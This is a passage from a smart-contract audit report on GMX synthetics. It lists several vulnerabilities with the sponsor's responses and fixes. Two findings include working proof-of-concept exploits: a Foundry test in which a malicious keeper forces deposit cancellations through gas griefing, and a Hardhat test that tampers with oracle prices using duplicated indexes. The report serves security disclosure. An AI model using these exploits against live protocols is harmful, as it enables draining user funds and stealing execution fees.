633 revert CollateralAlreadyClaimed(adjustedClaimableAmount, claimedAmount);
634 }
635
636 @> uint256 remainingClaimableAmount = adjustedClaimableAmount - claimedAmount;
637
638 dataStore.setUint(
639 Keys.claimedCollateralAmountKey(market, token, timeKey, account),
640 @> adjustedClaimableAmount
641 );
642
643 MarketToken(payable(market)).transferOut(
644 token,
645 receiver,
646 remainingClaimableAmount
647: );- A user triggers claimable collateral for 1 Eth (
claimableAmount= 1) - A keeper sets
claimableFactorto 1.0 - The user calls claim, and gets the full 1 Eth, and
claimedAmountbecomes 1 (adjustedClaimableAmount) - A keeper sets
claimableFactorto 0.5 for that time slot - The user triggers more claimable collateral for 1 Eth (
claimableAmount= 2) for the same time slot - The user calls claim.
adjustedClaimableAmountis 2 * 0.5 = 1,remainingClaimableAmountis 1 - 1 = 0, so the user can't claim anything
The user should have been able to claim a total of 1.5 Eth, but was only able to claim the original 1 Eth, and then nothing more.
Manual Review
diff --git a/gmx-synthetics/contracts/market/MarketUtils.sol b/gmx-synthetics/contracts/market/MarketUtils.sol
index 7624b69..3346296 100644
--- a/gmx-synthetics/contracts/market/MarketUtils.sol
+++ b/gmx-synthetics/contracts/market/MarketUtils.sol
@@ -637,7 +637,7 @@ library MarketUtils {
dataStore.setUint(
Keys.claimedCollateralAmountKey(market, token, timeKey, account),
- adjustedClaimableAmount
+ claimableAmount
);
MarketToken(payable(market)).transferOut(xvi10
the claimableFactor should be set only after the time slot for the timeKey has passed, there is no validation on the contract for this currently, this validation will be added if necessary, this feature is excluded from the current scope
Issue M-30: Deposits/Withdrawals/Orders will be canceled if created before feature is disabled and attempted to be executed after
Source: sherlock-audit#124
0xdeadbeef, IllIllI, csanuragjain, rvierdiiev
The protocol has the ability to enable/disable operations such as deposits, withdrawals and orders.
If the the above operations are disabled:
- Users will not be able to create/cancel the operations
- Keepers will not be able to execute the operations
However - on execution failure, cancellation will succeed even if the feature is disabled.
Therefore - keepers executing operations that are disabled will cancel them and make the user pay execution fees. (loss of funds)
Let us use deposits as an example. Other operations behave in a similar way.
Consider the following scenario:
- Bob creates a deposit using
createDeposit - GMX disabled deposits because of maintenance.
- Keeper executed Bobs deposit
- Bobs deposit is cancelled and the execution fee is paid to the keeper from Bobs pocket.
- GMX finished maintenance and enables again the deposits
Execution will fail in the following check: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L144-L150
The revert will be caught in the catch statement and _handleDepositError will be called:
https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L102-L113
_handleDepositError will call DepositUtils.cancelDeposit which does not have feature validation:
https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L181-L203
Users lose execution fee funds and have to deposit again.
Manual Review
For each operation:
- add a customer error to catch and revert the feature disable reason, like empty price is caught: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L190
- Add the feature check in the internal
DepositUtils.cancelDepositfunctions
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/51d1a7f161ab1b5081dc7cc5172ae30dfa063e1f
Source: sherlock-audit#116
0xdeadbeef
Malicious keeper can make execution of deposits/orders/withdrawals fail by providing limited gas to the execution.
If enough gas is sent for the cancellation to succeed but for the execution to fail the keeper is able to receive the execution fee + incentive rewards and cancel all deposits/orders/withdrawals.
Keepers can execute any deposits/orders/withdrawals. All executions are attempted and if they fail, they are cancelled and the keeper is paid for the execution fee + rewards. Example for executing deposits: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L92
function executeDeposit(
bytes32 key,
OracleUtils.SetPricesParams calldata oracleParams
) external
globalNonReentrant
onlyOrderKeeper
withOraclePrices(oracle, dataStore, eventEmitter, oracleParams)
{
uint256 startingGas = gasleft();
try this._executeDeposit(
key,
oracleParams,
msg.sender,
startingGas
) {
} catch (bytes memory reasonBytes) {
_handleDepositError(
key,
startingGas,
reasonBytes
);
}
}For the attack to succeed, the keeper needs to make this._executeDeposit revert.
Due to the 64/63 rule the attack will succeed if both of the following conditions meet:
- 63/64 of the supplied gas will cause an out of gas in the
trystatement - 1/64 of the supplied gas is enough to execute the
catchstatement.
Considering 2000000 is the max callback limit and native token transfer gas limit is large enough to support contracts the above conditions can be met.
I created a POC that exploits the vulnerability on deposits. Keep in mind that it might be easier (lower limits) for Orders as more logic is performed in the try statement and therefore more gas is supplied.
See in the Code Snippet section
- Keeper can remove all deposits/withdrawals/orders from the protocol.
- Essentially stealing all execution fees paid
- Keeper can create deposits and by leveraging the bug can cancel them when executing while receiving rewards.
- Vaults will be drained
To get it running, first install foundry using the following command:
curl -L https://foundry.paradigm.xyz | bash(from https://book.getfoundry.sh/getting-started/installation#install-the-latest-release-by-using-foundryup)- If local node is not already running and contracts are not deployed, configured - execute the following:
npx hardhat node3 Perform the following set of commands from the repository root.
rm -rf foundry; foundryup; mkdir foundry; cd foundry; forge init --no-commit- Add the following to `foundry/test/KeeperCancelExecutions.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
interface IExchangeRouter {
function createDeposit(KeeperCancelExecution.CreateDepositParams calldata params) external returns (bytes32);
}
interface IDepositHandler {
function executeDeposit( bytes32 key, SetPricesParams calldata oracleParams) external;
}
interface IReader {
function getMarket(address dataStore, address key) external view returns (Market.Props memory);
}
interface IDataStore {
function getBytes32(bytes32 key) external view returns (bytes32);
function setUint(bytes32 key, uint256 value) external;
}
library Market {
struct Props {
address marketToken;
address indexToken;
address longToken;
address shortToken;
}
}
library Deposit {
struct Props {
Addresses addresses;
Numbers numbers;
Flags flags;
}
struct Addresses {
address account;
address receiver;
address callbackContract;
address market;
address initialLongToken;
address initialShortToken;
address[] longTokenSwapPath;
address[] shortTokenSwapPath;
}
struct Numbers {
uint256 initialLongTokenAmount;
uint256 initialShortTokenAmount;
uint256 minMarketTokens;
uint256 updatedAtBlock;
uint256 executionFee;
uint256 callbackGasLimit;
}
struct Flags {
bool shouldUnwrapNativeToken;
}
}
struct SetPricesParams {
uint256 signerInfo;
address[] tokens;
uint256[] compactedMinOracleBlockNumbers;
uint256[] compactedMaxOracleBlockNumbers;
uint256[] compactedOracleTimestamps;
uint256[] compactedDecimals;
uint256[] compactedMinPrices;
uint256[] compactedMinPricesIndexes;
uint256[] compactedMaxPrices;
uint256[] compactedMaxPricesIndexes;
bytes[] signatures;
address[] priceFeedTokens;
}
contract Keeper is Test {
fallback() external payable {
bytes32 x;
if(gasleft() > 1_000_000) {
for(uint256 i=0; i<600000;i++){
x = keccak256(abi.encode(i));
}
revert("aaa");
}
}
}
contract Callback is Test {
bytes32 x;
function afterDepositExecution(bytes32 key, Deposit.Props memory deposit) external {
for(uint256 i=0; i<5100;i++){
x = keccak256(abi.encode(i)); // 1993336 gas
}
return;
}
function afterDepositCancellation(bytes32 key, Deposit.Props memory deposit) external{
}
}
interface IRoleStore{
function grantRole(address account, bytes32 roleKey) external;
}
contract KeeperCancelExecution is Test {
struct CreateDepositParams {
address receiver;
address callbackContract;
address market;
address initialLongToken;
address initialShortToken;
address[] longTokenSwapPath;
address[] shortTokenSwapPath;
uint256 minMarketTokens;
bool shouldUnwrapNativeToken;
uint256 executionFee;
uint256 callbackGasLimit;
}
uint256 public constant COMPACTED_64_BIT_LENGTH = 64;
uint256 public constant COMPACTED_64_BITMASK = ~uint256(0) >> (256 - COMPACTED_64_BIT_LENGTH);
uint256 public constant COMPACTED_32_BIT_LENGTH = 32;
uint256 public constant COMPACTED_32_BITMASK = ~uint256(0) >> (256 - COMPACTED_32_BIT_LENGTH);
uint256 public constant COMPACTED_8_BIT_LENGTH = 8;
uint256 public constant COMPACTED_8_BITMASK = ~uint256(0) >> (256 - COMPACTED_8_BIT_LENGTH);
IExchangeRouter EXCHANGE_ROUTER = IExchangeRouter(0x4bf010f1b9beDA5450a8dD702ED602A104ff65EE);
address dataStore = 0x09635F643e140090A9A8Dcd712eD6285858ceBef;
IReader reader = IReader(0xD49a0e9A4CD5979aE36840f542D2d7f02C4817Be);
address WETH = 0x99bbA657f2BbC93c02D617f8bA121cB8Fc104Acf;
address USDC = 0x9d4454B023096f34B160D6B654540c56A1F81688;
address depositVault = 0xB0f05d25e41FbC2b52013099ED9616f1206Ae21B;
address controller = 0x1429859428C0aBc9C2C47C8Ee9FBaf82cFA0F20f;
address roleStore = 0x5FbDB2315678afecb367f032d93F642f64180aa3;
address ROLE_ADMIN = 0xe1Fd27F4390DcBE165f4D60DBF821e4B9Bb02dEd;
IDepositHandler depositHandler = IDepositHandler(0xD42912755319665397FF090fBB63B1a31aE87Cee);
address signer = 0xBcd4042DE499D14e55001CcbB24a551F3b954096;
uint256 pk = 0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897;
Callback callback = new Callback();
Keeper ORDER_KEEPER = new Keeper();
using Market for Market.Props;
function setUp() public {
}
function testCreateDepositAndCancel() external {
// Setup market
Market.Props memory market = reader.getMarket(dataStore, address(0xc50051e38C72DC671C6Ae48f1e278C1919343529));
address marketWethUsdc = market.marketToken;
address wethIndex = market.indexToken;
address wethLong = market.longToken;
address usdcShort = market.shortToken;
vm.startPrank(controller);
IDataStore(dataStore).setUint(keccak256(abi.encode("EXECUTION_GAS_FEE_MULTIPLIER_FACTOR")), 10**30);
IDataStore(dataStore).setUint(keccak256(abi.encode("NATIVE_TOKEN_TRANSFER_GAS_LIMIT")), 4000000);
vm.stopPrank();
vm.prank(ROLE_ADMIN);
IRoleStore(roleStore).grantRole(address(ORDER_KEEPER), keccak256(abi.encode("ORDER_KEEPER")));
// validate weth long usdc short index weth
assertEq(WETH, wethLong);
assertEq(WETH, wethIndex);
assertEq(USDC, usdcShort);
// initial fund deposit vault and weth
uint256 depositEth = 1000 ether;
uint256 executionFee = 100000;
address[] memory addrArray;
deal(USDC, depositVault, depositEth);
vm.deal(depositVault, depositEth);
vm.prank(depositVault);
WETH.call{value: depositEth}(abi.encodeWithSelector(bytes4(keccak256("deposit()"))));
vm.deal(WETH, depositEth);
// Create deposit params
CreateDepositParams memory deposit = CreateDepositParams(
address(this), // receiver
address(callback), // callback
marketWethUsdc, // market
wethLong, // inital longtoken
usdcShort, // inital short token
addrArray, // longtokenswappath
addrArray, // shortokenswappath
0, // minmarkettokens
true,// shouldunwrapnativetoken
executionFee, // executionfee
2000000 // callbackGasLimit
);
// Create deposit!
bytes32 depositKey = EXCHANGE_ROUTER.createDeposit(deposit);
// Maliciously execute legit deposit
vm.startPrank(address(ORDER_KEEPER));
depositHandler.executeDeposit{gas: 6_900_000}(depositKey, getPriceParams()); // get correct price commands.
// Validate exploit successful by seeing that the deposit was was paid back to account minus execution fee
(bool success, bytes memory data) = WETH.call(abi.encodeWithSelector(bytes4(keccak256("balanceOf(address)")), address(this)));
uint256 balance = abi.decode(data, (uint256));
assertEq(balance, depositEth - executionFee);
}
function getPriceParams() internal returns (SetPricesParams memory) {
address[] memory tokens = new address[](2);
tokens[0] = WETH;
tokens[1] = USDC;
// min oracle block numbers
uint256[] memory uncompactedMinOracleBlockNumbers = new uint256[](2);
uncompactedMinOracleBlockNumbers[0] = block.number;
uncompactedMinOracleBlockNumbers[1] = block.number;
// decimals 18
uint256[] memory uncompactedDecimals = new uint256[](2);
uncompactedDecimals[0] = 18;
uncompactedDecimals[1] = 18;
// max price AGE
uint256[] memory uncompactedMaxPriceAge = new uint256[](2);
uncompactedMaxPriceAge[0] = block.timestamp;
uncompactedMaxPriceAge[1] = block.timestamp;
uint256[] memory uncompactedMaxPricesIndexes = new uint256[](2);
uncompactedMaxPricesIndexes[0] = 0;
uncompactedMaxPricesIndexes[1] = 0;
uint256[] memory uncompactedMaxPrices = new uint256[](2);
uncompactedMaxPrices[0] = 1000;
uncompactedMaxPrices[1] = 1000;
// signerInfo
uint256 signerInfo = 1;
uint256[] memory compactedMinOracleBlockNumbers = getCompactedValues(uncompactedMinOracleBlockNumbers, COMPACTED_64_BIT_LENGTH, COMPACTED_64_BITMASK);
uint256[] memory compactedDecimals = getCompactedValues(uncompactedDecimals, COMPACTED_8_BIT_LENGTH, COMPACTED_8_BITMASK);
uint256[] memory compactedMaxPriceAge = getCompactedValues(uncompactedMaxPriceAge, COMPACTED_64_BIT_LENGTH, COMPACTED_64_BITMASK);
uint256[] memory compactedMaxPricesIndexes = getCompactedValues(uncompactedMaxPricesIndexes, COMPACTED_8_BIT_LENGTH, COMPACTED_8_BITMASK);
uint256[] memory compactedMaxPrices = getCompactedValues(uncompactedMaxPrices, COMPACTED_32_BIT_LENGTH, COMPACTED_32_BITMASK);
bytes[] memory sig = getSig(tokens, uncompactedDecimals, uncompactedMaxPrices);
SetPricesParams memory oracleParams = SetPricesParams(
signerInfo, // signerInfo
tokens, //tokens
compactedMinOracleBlockNumbers, // compactedMinOracleBlockNumbers
compactedMinOracleBlockNumbers, //compactedMaxOracleBlockNumbers
compactedMaxPriceAge, // compactedOracleTimestamps
compactedDecimals, // compactedDecimals
compactedMaxPrices, // compactedMinPrices
compactedMaxPricesIndexes, // compactedMinPricesIndexes
compactedMaxPrices, // compactedMaxPrices
compactedMaxPricesIndexes, // compactedMaxPricesIndexes
sig, // signatures
new address[](0) // priceFeedTokens
);
return oracleParams;
}
function getSig(address[] memory tokens, uint256[] memory decimals, uint256[] memory prices) internal returns (bytes[] memory){
signer = vm.addr(pk);
bytes[] memory ret = new bytes[](tokens.length);
for(uint256 i=0; i<tokens.length; i++){
bytes32 digest = toEthSignedMessageHash(
keccak256(abi.encode(
keccak256(abi.encode(block.chainid, "xget-oracle-v1")),
block.number,
block.number,
block.timestamp,
bytes32(0),
tokens[i],
getDataStoreValueForToken(tokens[i]),
10 ** decimals[i],
prices[i],
prices[i]
))
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, digest);
ret[i] = abi.encodePacked(r,s,v);
}
return ret;
}
function getDataStoreValueForToken(address token) internal returns (bytes32) {
return IDataStore(dataStore).getBytes32(keccak256(abi.encode(keccak256(abi.encode("ORACLE_TYPE")), token)));
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32 message) {
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32")
mstore(0x1c, hash)
message := keccak256(0x00, 0x3c)
}
}
function getCompactedValues(
uint256[] memory uncompactedValues,
uint256 compactedValueBitLength,
uint256 bitmask
) internal returns (uint256[] memory) {
uint256 compactedValuesPerSlot = 256 / compactedValueBitLength;
bool stopLoop = false;
uint256[] memory compactedValues = new uint256[](uncompactedValues.length / compactedValuesPerSlot + 1);
for(uint256 i=0; i < (uncompactedValues.length - 1) / compactedValuesPerSlot + 1; i++){
uint256 valuePerSlot;
for(uint256 j=0; j< compactedValuesPerSlot; j++){
uint256 index = i * compactedValuesPerSlot + j;
if(index >= uncompactedValues.length) {
stopLoop = true;
break;
}
uint256 value = uncompactedValues[index];
uint256 bitValue = value << (j * compactedValueBitLength);
valuePerSlot = valuePerSlot | bitValue;
}
compactedValues[i] = valuePerSlot;
if(stopLoop){
break;
}
}
return compactedValues;
}
}- execute
forge test --fork-url="http://127.0.0.1:8545" -v -m "testCreateDepositAndCancel"
VS Code, foundry
Add a buffer of gas that needs to be supplied to the execute function to make sure the try statement will not revert because of out of gas.
xvi10
This is a valid issue but the risk of a keeper intentionally doing this should be low as there is not much benefit aside from possibly slightly higher execution fees received, a keeper network can help to reduce the risk of this and malicious keepers may be removed
xvi10
It is possible to introduce a minimum gas limit but it may be difficult to manage this such that it closely matches the actual gas required while remaining below the maximum block gas limit
Allowing keepers to accurately estimate the gas limit off-chain may allow transactions to be executed faster as the transaction can more easily be included in blocks
Source: sherlock-audit#113
Breeje, IllIllI, chaduke, joestakey, stopthecap
There are couple of instance of using result of a division for multiplication while can cause larger precision loss.
File: MarketUtils.sol
948: cache.fundingUsd = (cache.sizeOfLargerSide / Precision.FLOAT_PRECISION) * cache.durationInSeconds * cache.fundingFactorPerSecond;
952: if (result.longsPayShorts) {
953: cache.fundingUsdForLongCollateral = cache.fundingUsd * cache.oi.longOpenInterestWithLongCollateral / cache.oi.longOpenInterest;
954: cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.longOpenInterestWithShortCollateral / cache.oi.longOpenInterest;
955: } else {
956: cache.fundingUsdForLongCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithLongCollateral / cache.oi.shortOpenInterest;
957: cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithShortCollateral / cache.oi.shortOpenInterest;
958: }
In above case, value of cache.fundingUsd is calculated by first dividing cache.sizeOfLargerSide with Precision.FLOAT_PRECISION which is 10**30. Then the resultant is multiplied further. This result in larger Loss of precision.
Later the same cache.fundingUsd is used to calculate cache.fundingUsdForLongCollateral and cache.fundingUsdForShortCollateral by multiplying further which makes the precision error even more big.
Same issue is there in calculating cache.positionPnlUsd in PositionUtils.
File: PositionUtils.sol
if (position.isLong()) {
cache.sizeDeltaInTokens = Calc.roundUpDivision(position.sizeInTokens() * sizeDeltaUsd, position.sizeInUsd());
} else {
cache.sizeDeltaInTokens = position.sizeInTokens() * sizeDeltaUsd / position.sizeInUsd();
}
}
cache.positionPnlUsd = cache.totalPositionPnl * cache.sizeDeltaInTokens.toInt256() / position.sizeInTokens().toInt256();
Precision Loss in accounting.
Given above.
Manual Review
First Multiply all the numerators and then divide it by the product of all the denominator.
xvi10
it is calculated in this way to reduce the risk of the multiplication causing an overflow
IllIllI000
@xvi10 you can use unchecked blocks to avoid phantom overflows:
pragma solidity 0.8.17;
import "forge-std/Test.sol";
contract It is Test {
function testItOk() external pure returns (uint256) {
uint256 v1 = type(uint256).max;
uint256 result;
unchecked {
result = (3 * v1 * v1) / (v1 * v1);
}
return result;
}
function testItBroken() external pure returns (uint256) {
uint256 v1 = type(uint256).max;
uint256 result;
result = (3 * v1 * v1) / (v1 * v1);
return result;
}
}$ forge test -vvvv
[⠰] Compiling...
No files changed, compilation skipped
Running 2 tests for src/T.sol:It
[FAIL. Reason: Arithmetic over/underflow] testItBroken():(uint256) (gas: 270)
Traces:
[270] It::testItBroken()
└─ ← "Arithmetic over/underflow"
[PASS] testItOk():(uint256) (gas: 148)
Traces:
[148] It::testItOk()
└─ ← 3
Test result: FAILED. 1 passed; 1 failed; finished in 650.57µs
Failing tests:
Encountered 1 failing test in src/T.sol:It
[FAIL. Reason: Arithmetic over/underflow] testItBroken():(uint256) (gas: 270)
Encountered a total of 1 failing tests, 1 tests succeeded
xvi10
i see, ok we can look into it
xvi10
looked into https://github.com/Uniswap/v3-core/blob/412d9b236a1e75a98568d49b1aeb21e3a1430544/contracts/libraries/FullMath.sol#L8, but the code needs to be updated to support Solidity ^0.8.0
for now we have improved the precision of the calculations
Fix in: https://github.com/gmx-io/gmx-synthetics/commit/93832021772e4020a66ac7260854eb6ace11230e, https://github.com/gmx-io/gmx-synthetics/commit/89f4e8cc8cddbd8d7f5925f032e0419d6b6228ee
xvi10
There is an implementation in the OpenZeppelin Math library, have updated the code to use that instead: https://github.com/gmx-io/gmx-synthetics/commit/26ecb0c125b1e8873d2f165d200b649b0ea0dcab
Issue M-33: when execute deposit fails, cancel deposit will be called which means that execution fee for keeper will be little for executing the cancellation depending on where the executeDeposit fails
Source: sherlock-audit#89
koxuan
When execute deposit fails, the deposit will be automatically cancelled. However, since executeDeposit has taken up a portion of the execution fee, execution fee left for cancellation might be little and keeper will lose out on execution fee.
In executeDeposit when an error is thrown, _handleDepositError is called.
_handleDepositError(
key,
startingGas,
reasonBytes
);Notice that in _handleDepositError that cancelDeposit is called which will pay execution fee to the keeper. However, since the failure can have failed at the late stage of executeDeposit, the execution fee left for the cancellation will be little for the keeper.
function _handleDepositError(
bytes32 key,
uint256 startingGas,
bytes memory reasonBytes
) internal {
(string memory reason, /* bool hasRevertMessage */) = ErrorUtils.getRevertMessage(reasonBytes);
bytes4 errorSelector = ErrorUtils.getErrorSelectorFromData(reasonBytes);
if (OracleUtils.isEmptyPriceError(errorSelector)) {
ErrorUtils.revertWithCustomError(reasonBytes);
}
DepositUtils.cancelDeposit(
dataStore,
eventEmitter,
depositVault,
key,
msg.sender,
startingGas,
reason,
reasonBytes
);
}
}Note: This also applies to failed executeWithdrawal.
Keeper will lose out on execution fee in the event of a failed deposit.
DepositHandler.sol#L109-L113 DepositHandler.sol#L181-L205
Manual Review
Recommend increasing the minimum required execution fee to account for failed deposit and refund the excess to the user when a deposit succeeds.
xvi10
this is a valid issue, no code changed, the configuration for gas estimation should be updated to account for this
Source: sherlock-audit#74
KingNFT
The _setPrices() function is missing to check duplicated prices indexes. Attackers such as malicious order keepers can exploit it to tamper signed prices.
The following test script shows how it works
import { expect } from "chai";
import { deployContract } from "../../utils/deploy";
import { deployFixture } from "../../utils/fixture";
import {
TOKEN_ORACLE_TYPES,
signPrices,
getSignerInfo,
getCompactedPrices,
getCompactedPriceIndexes,
getCompactedDecimals,
getCompactedOracleBlockNumbers,
getCompactedOracleTimestamps,
} from "../../utils/oracle";
import { printGasUsage } from "../../utils/gas";
import { grantRole } from "../../utils/role";
import * as keys from "../../utils/keys";
describe("AttackOracle", () => {
const { provider } = ethers;
let user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9;
let roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc;
let oracleSalt;
beforeEach(async () => {
const fixture = await deployFixture();
({ user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9 } = fixture.accounts);
({ roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc } = fixture.contracts);
({ oracleSalt } = fixture.props);
});
it("inits", async () => {
expect(await oracle.oracleStore()).to.eq(oracleStore.address);
expect(await oracle.SALT()).to.eq(oracleSalt);
});
it("tamperPrices", async () => {
const blockNumber = (await provider.getBlock()).number;
const blockTimestamp = (await provider.getBlock()).timestamp;
await dataStore.setUint(keys.MIN_ORACLE_SIGNERS, 2);
const block = await provider.getBlock(blockNumber);
let signerInfo = getSignerInfo([0, 1]);
let minPrices = [1000, 1000]; // if some signers sign a same price
let maxPrices = [1010, 1010]; // if some signers sign a same price
let signatures = await signPrices({
signers: [signer0, signer1],
salt: oracleSalt,
minOracleBlockNumber: blockNumber,
maxOracleBlockNumber: blockNumber,
oracleTimestamp: blockTimestamp,
blockHash: block.hash,
token: wnt.address,
tokenOracleType: TOKEN_ORACLE_TYPES.DEFAULT,
precision: 1,
minPrices,
maxPrices,
});
// attacker tamper the prices and indexes
minPrices[1] = 2000
maxPrices[1] = 2020
let indexes = getCompactedPriceIndexes([0, 0]) // share the same index
await oracle.setPrices(dataStore.address, eventEmitter.address, {
priceFeedTokens: [],
signerInfo,
tokens: [wnt.address],
compactedMinOracleBlockNumbers: [blockNumber],
compactedMaxOracleBlockNumbers: [blockNumber],
compactedOracleTimestamps: [blockTimestamp],
compactedDecimals: getCompactedDecimals([1]),
compactedMinPrices: getCompactedPrices(minPrices),
compactedMinPricesIndexes: indexes,
compactedMaxPrices: getCompactedPrices(maxPrices),
compactedMaxPricesIndexes: indexes,
signatures,
});
const decimals = 10
expect((await oracle.getPrimaryPrice(wnt.address)).min).eq(1500 * decimals);
expect((await oracle.getPrimaryPrice(wnt.address)).max).eq(1515 * decimals);
});
});The output
> npx hardhat test .\test\oracle\AttackOracle.ts
AttackOracle
√ inits
√ tamperPrices (105ms)
2 passing (13s)Steal funds from the vault and markets.
File: contracts\oracle\Oracle.sol
430: function _setPrices(
431: DataStore dataStore,
432: EventEmitter eventEmitter,
433: address[] memory signers,
434: OracleUtils.SetPricesParams memory params
435: ) internal {
436: SetPricesCache memory cache;
437: cache.minBlockConfirmations = dataStore.getUint(Keys.MIN_ORACLE_BLOCK_CONFIRMATIONS);
438: cache.maxPriceAge = dataStore.getUint(Keys.MAX_ORACLE_PRICE_AGE);
439:
440: for (uint256 i = 0; i < params.tokens.length; i++) {
441: cache.info.minOracleBlockNumber = OracleUtils.getUncompactedOracleBlockNumber(params.compactedMinOracleBlockNumbers, i);
442: cache.info.maxOracleBlockNumber = OracleUtils.getUncompactedOracleBlockNumber(params.compactedMaxOracleBlockNumbers, i);
443:
444: if (cache.info.minOracleBlockNumber > cache.info.maxOracleBlockNumber) {
445: revert InvalidMinMaxBlockNumber(cache.info.minOracleBlockNumber, cache.info.maxOracleBlockNumber);
446: }
447:
448: cache.info.oracleTimestamp = OracleUtils.getUncompactedOracleTimestamp(params.compactedOracleTimestamps, i);
449:
450: if (cache.info.minOracleBlockNumber > Chain.currentBlockNumber()) {
451: revert InvalidBlockNumber(cache.info.minOracleBlockNumber);
452: }
453:
454: if (cache.info.oracleTimestamp + cache.maxPriceAge < Chain.currentTimestamp()) {
455: revert MaxPriceAgeExceeded(cache.info.oracleTimestamp);
456: }
457:
458: // block numbers must be in ascending order
459: if (cache.info.minOracleBlockNumber < cache.prevMinOracleBlockNumber) {
460: revert BlockNumbersNotSorted(cache.info.minOracleBlockNumber, cache.prevMinOracleBlockNumber);
461: }
462: cache.prevMinOracleBlockNumber = cache.info.minOracleBlockNumber;
463:
464: cache.info.blockHash = bytes32(0);
465: if (Chain.currentBlockNumber() - cache.info.minOracleBlockNumber <= cache.minBlockConfirmations) {
466: cache.info.blockHash = Chain.getBlockHash(cache.info.minOracleBlockNumber);
467: }
468:
469: cache.info.token = params.tokens[i];
470: cache.info.precision = 10 ** OracleUtils.getUncompactedDecimal(params.compactedDecimals, i);
471: cache.info.tokenOracleType = dataStore.getBytes32(Keys.oracleTypeKey(cache.info.token));
472:
473: cache.minPrices = new uint256[](signers.length);
474: cache.maxPrices = new uint256[](signers.length);
475:
476: for (uint256 j = 0; j < signers.length; j++) {
477: cache.priceIndex = i * signers.length + j;
478: cache.minPrices[j] = OracleUtils.getUncompactedPrice(params.compactedMinPrices, cache.priceIndex);
479: cache.maxPrices[j] = OracleUtils.getUncompactedPrice(params.compactedMaxPrices, cache.priceIndex);
480:
481: if (j == 0) { continue; }
482:
483: // validate that minPrices are sorted in ascending order
484: if (cache.minPrices[j - 1] > cache.minPrices[j]) {
485: revert MinPricesNotSorted(cache.info.token, cache.minPrices[j], cache.minPrices[j - 1]);
486: }
487:
488: // validate that maxPrices are sorted in ascending order
489: if (cache.maxPrices[j - 1] > cache.maxPrices[j]) {
490: revert MaxPricesNotSorted(cache.info.token, cache.maxPrices[j], cache.maxPrices[j - 1]);
491: }
492: }
493:
494: for (uint256 j = 0; j < signers.length; j++) {
495: cache.signatureIndex = i * signers.length + j;
496: cache.minPriceIndex = OracleUtils.getUncompactedPriceIndex(params.compactedMinPricesIndexes, cache.signatureIndex);
497: cache.maxPriceIndex = OracleUtils.getUncompactedPriceIndex(params.compactedMaxPricesIndexes, cache.signatureIndex);
498:
499: if (cache.signatureIndex >= params.signatures.length) {
500: Array.revertArrayOutOfBounds(params.signatures, cache.signatureIndex, "signatures");
501: }
502:
503: if (cache.minPriceIndex >= cache.minPrices.length) {
504: Array.revertArrayOutOfBounds(cache.minPrices, cache.minPriceIndex, "minPrices");
505: }
506:
507: if (cache.maxPriceIndex >= cache.maxPrices.length) {
508: Array.revertArrayOutOfBounds(cache.maxPrices, cache.maxPriceIndex, "maxPrices");
509: }
510:
511: cache.info.minPrice = cache.minPrices[cache.minPriceIndex];
512: cache.info.maxPrice = cache.maxPrices[cache.maxPriceIndex];
513:
514: if (cache.info.minPrice > cache.info.maxPrice) {
515: revert InvalidSignerMinMaxPrice(cache.info.minPrice, cache.info.maxPrice);
516: }
517:
518: OracleUtils.validateSigner(
519: SALT,
520: cache.info,
521: params.signatures[cache.signatureIndex],
522: signers[j]
523: ); // @audit dunplicated price
524: }
525:
526: uint256 medianMinPrice = Array.getMedian(cache.minPrices) * cache.info.precision;
527: uint256 medianMaxPrice = Array.getMedian(cache.maxPrices) * cache.info.precision;
528:
529: if (medianMinPrice == 0 || medianMaxPrice == 0) {
530: revert InvalidOraclePrice(cache.info.token);
531: }
532:
533: if (medianMinPrice > medianMaxPrice) {
534: revert InvalidMedianMinMaxPrice(medianMinPrice, medianMaxPrice);
535: }
536:
537: if (primaryPrices[cache.info.token].isEmpty()) {
538: emitOraclePriceUpdated(eventEmitter, cache.info.token, medianMinPrice, medianMaxPrice, true, false);
539:
540: primaryPrices[cache.info.token] = Price.Props(
541: medianMinPrice,
542: medianMaxPrice
543: );
544: } else {
545: emitOraclePriceUpdated(eventEmitter, cache.info.token, medianMinPrice, medianMaxPrice, false, false);
546:
547: secondaryPrices[cache.info.token] = Price.Props(
548: medianMinPrice,
549: medianMaxPrice
550: );
551: }
552:
553: tokensWithPrices.add(cache.info.token);
554: }
555: }
Manual Review
Don't allow duplicated prices indexes
IllIllI000
@xvi10 can you confirm that this is invalid?
xvi10
it is a valid issue
IllIllI000
@hrishibhat agree with sponsor – valid Medium
ydspa
Escalate for 10 USDC
agree with sponsor and @IllIllI000, it should be at least a valid Medium.
As large amount of funds can be stolen , even the top privileged admins are not allowed to steal user's funds. So i insist a issue which can be triggered by keeper role to cause large loss of users is not Low/info.
Especially, GMX may grant keeper role to third-party such as KeeperDAO https://forum.rook.fi/t/kip-17-provide-a-coordination-facility-for-gmx/272 Or even worse, to make it public in the future.
sherlock-admin
Escalate for 10 USDC
agree with sponsor and @IllIllI000, it should be at least a valid Medium.
As large amount of funds can be stolen , even the top privileged admins are not allowed to steal user's funds. So i insist a issue which can be triggered by keeper role to cause large loss of users is not Low/info.
Especially, GMX may grant keeper role to third-party such as KeeperDAO https://forum.rook.fi/t/kip-17-provide-a-coordination-facility-for-gmx/272 Or even worse, to make it public in the future.
